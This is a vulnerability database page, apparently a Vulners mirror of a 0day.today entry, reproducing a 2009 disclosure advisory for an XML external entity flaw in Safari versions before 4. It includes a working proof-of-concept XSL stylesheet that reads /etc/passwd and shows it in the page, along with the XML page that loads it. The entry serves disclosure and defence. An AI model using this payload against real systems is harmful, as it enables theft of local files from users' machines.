Lucene search
K

WebKit XML External Entity Information Disclosure Vulnerability

🗓️ 12 Nov 2009 00:00:00Reported by Chris EvansType 
zdt
 zdt
🔗 0day.today👁 29 Views

WebKit XML External Entity Information Disclosure Vulnerability in Safari version prior to 4 allows evil web page to steal local system files using XXE attac

Code
===============================================================
WebKit XML External Entity Information Disclosure Vulnerability
===============================================================


# Title: WebKit XML External Entity Information Disclosure Vulnerability
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Chris Evans
# Published: 2009-11-12
# Verified: yes


view source
print?
Safari prior to version 4 may permit an evil web page to steal files
from the local system.
 
This is accomplished by mounting an XXE attack against the parsing of
the XSL XML. This is best explained with a sample evil XSL file which
includes a DTD that attempts the XXE attack:
 
<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>
 
To mount the attack, the attacker would serve a web page which has XML
MIME type and requests to be styled by the evil stylesheet:
 
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="safaristealfilebug.xsl"?>
<xml>
irrelevant
</xml>
 
Full technical details: http://scary.beasts.org/security/CESA-2009-006.html
 
Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html
(includes 1-click demos)
 
Cheers
Chris




#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Nov 2009 00:00Current
7.1High risk
Vulners AI Score7.1
29